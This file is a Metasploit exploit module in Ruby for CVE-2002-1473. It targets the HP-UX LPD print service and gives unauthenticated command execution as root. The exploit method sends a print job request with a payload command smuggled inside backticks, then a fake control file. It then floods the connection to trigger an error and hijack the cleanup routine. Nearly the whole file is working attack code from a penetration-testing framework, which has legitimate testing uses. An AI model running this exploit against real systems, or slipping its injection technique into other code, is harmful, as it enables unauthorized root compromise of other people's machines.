1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'English'
7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::Tcp
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'HP-UX LPD Command Execution',
17
        'Description' => %q{
18
          This exploit abuses an unpublished vulnerability in the
19
          HP-UX LPD service. This flaw allows an unauthenticated
20
          attacker to execute arbitrary commands with the privileges
21
          of the root user. The LPD service is only exploitable when
22
          the address of the attacking system can be resolved by the
23
          target. This vulnerability was silently patched with the
24
          buffer overflow flaws addressed in HP Security Bulletin
25
          HPSBUX0208-213.
26
        },
27
        'Author' => [ 'hdm' ],
28
        'References' => [
29
          ['CVE', '2002-1473'],
30
          ['OSVDB', '9638'],
31
          ['URL', 'https://web.archive.org/web/20041213153521/http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],
32
        ],
33
        'Platform' => %w[hpux unix],
34
        'Arch' => ARCH_CMD,
35
        'Payload' => {
36
          'Space' => 200,
37
          'DisableNops' => true,
38
          'BadChars' => "\x00\x09\x20\x2f",
39
          'Compat' => {
40
            'PayloadType' => 'cmd',
41
            'RequiredCmd' => 'generic perl telnet'
42
          }
43
        },
44
        'Targets' => [
45
          [ 'Automatic Target', {}]
46
        ],
47
        'Privileged' => true,
48
        'DefaultTarget' => 0,
49
        'DisclosureDate' => '2002-08-28',
50
        'Notes' => {
51
          'Stability' => [CRASH_SAFE],
52
          'SideEffects' => [IOC_IN_LOGS],
53
          'Reliability' => [REPEATABLE_SESSION]
54
        }
55
      )
56
    )
57

58
    register_options([
59
      Opt::RPORT(515)
60
    ])
61
  end
62

63
  def exploit
64
    # The job ID is squashed down to three decimal digits
65
    jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
66

67
    # Connect to the LPD service
68
    connect
69

70
    print_status('Sending our job request with embedded command string...')
71

72
    # Send the job request with the encoded command
73
    sock.put("\x02#{rand_text_alphanumeric(3)}#{jid}`#{payload.encoded}`\n")
74

75
    res = sock.get_once(1)
76
    if !(res && res[0, 1] == "\x00")
77
      fail_with(Failure::Unknown, 'The target did not accept our job request')
78
    end
79

80
    print_status('Sending our fake control file...')
81
    sock.put("\x02 32 cfA#{rand_text_alphanumeric(8)}\n")
82

83
    res = sock.get_once(1)
84
    if !(res && res[0, 1] == "\x00")
85
      fail_with(Failure::Unknown, 'The target did not accept our control file')
86
    end
87

88
    print_status('Forcing an error and hijacking the cleanup routine...')
89

90
    begin
91
      sock.put(rand_text_alphanumeric(16384))
92
    rescue StandardError
93
      # request may fail, this is expected
94
    end
95
  ensure
96
    disconnect unless sock.nil?
97
  end
98
end
99

100